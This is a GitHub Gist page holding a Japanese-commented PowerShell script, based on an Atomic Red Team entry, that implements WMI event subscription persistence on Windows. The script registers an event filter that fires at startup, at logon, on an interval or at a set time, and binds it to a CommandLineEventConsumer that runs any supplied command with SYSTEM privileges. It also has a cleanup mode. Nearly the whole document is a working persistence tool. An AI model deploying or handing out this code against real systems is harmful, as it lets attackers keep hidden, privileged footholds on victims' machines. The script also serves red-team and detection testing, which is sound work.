Last active
August 7, 2024 06:43
-
-
Save segfo/76f64cf8b450e70ab64f8a9ef35de7ad to your computer and use it in GitHub Desktop.
WMIを用いた永続化手法(CimInstance版)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 参考:https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.003/T1546.003.md | |
Param( | |
[ValidateSet("Persistence","Clean")]$Mode="Persistence", | |
[ValidateSet("OnStartup","OnLogon","OnInterval","OnTime")]$Trigger="OnStartup", | |
[string]$FilterName = 'WMIEventFilter Persistence', | |
[string]$ConsumerName = "WMIEventConsumer Persistence", | |
[int]$IntervalPeriod = 3600, | |
[string]$ExecutionTime = '10:00:00', | |
[string]$Command | |
) | |
function register_persistence(){ | |
$TimerId = Get-Random; | |
# Step 1: WMIイベントフィルタを定義する。 | |
Switch ($Trigger) { | |
'OnStartup' { | |
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" | |
} | |
'OnLogon' { | |
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'" | |
} | |
'OnInterval' { | |
Set-CimInstance -class '__IntervalTimerInstruction' -Arguments @{ IntervalBetweenEvents = ($IntervalPeriod * 1000); TimerId = $TimerId } | Out-Null | |
$query = "Select * from __TimerEvent where TimerId = '$TimerId'" | |
} | |
'OnTime' { | |
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ExecutionTime.Hour.ToString()) AND TargetInstance.Minute = $($ExecutionTime.Minute.ToString()) GROUP WITHIN 60" | |
} | |
} | |
# Step2: 定義したイベントフィルタクエリに名前をつけてCIM(Common Information Model)インスタンスを生成・登録する。 | |
$FilterArgs = @{ | |
name=$FilterName; # フィルタクエリの名前 | |
EventNameSpace='root\CimV2'; # イベントの名前空間 | |
QueryLanguage="WQL"; # クエリの言語 | |
Query=$query; # 定義したフィルタクエリ | |
} | |
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs | |
$FilterArgs | |
# Step3: WMIイベントコンシューマ(実行したいプログラム)を定義して名前をつけてCIMインスタンスを生成する | |
$ConsumerArgs = @{ | |
name=$ConsumerName; # イベントコンシューマの名前 | |
CommandLineTemplate = $Command; # 実行したいコマンド、SYSTEM権限で起動する。 | |
} | |
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs | |
$ConsumerArgs | |
# Step4: WMIイベントフィルタのCIMインスタンスとイベントコンシューマCIMインスタンスを紐づけして、WMIに登録する。 | |
$FilterToConsumerArgs = @{ | |
Filter = [Ref] $Filter; # イベントフィルタオブジェクト | |
Consumer = [Ref] $Consumer; # イベントコンシューマオブジェクト | |
} | |
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs | |
$FilterToConsumerBinding | |
} | |
function cleanup_persistence(){ | |
$EventConsumerToCleanup = Get-CimInstance -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$ConsumerName'" | |
$EventFilterToCleanup = Get-CimInstance -Namespace root/subscription -Class __EventFilter -Filter "Name = '$FilterName'" | |
$FilterConsumerBindingToCleanup = Get-CimInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$FilterName'""" | |
Remove-CimInstance -InputObject $FilterConsumerBindingToCleanup | |
Remove-CimInstance -InputObject $EventConsumerToCleanup | |
Remove-CimInstance -InputObject $EventFilterToCleanup | |
} | |
if($Mode -eq "Persistence"){ | |
if ([string]::IsNullOrEmpty($Command)) { | |
Write-Host "Command 引数を指定してください" -ForegroundColor Red | |
exit 1 | |
} | |
try{ | |
cleanup_persistence | |
}Catch{} | |
register_persistence | |
}else{ | |
cleanup_persistence | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment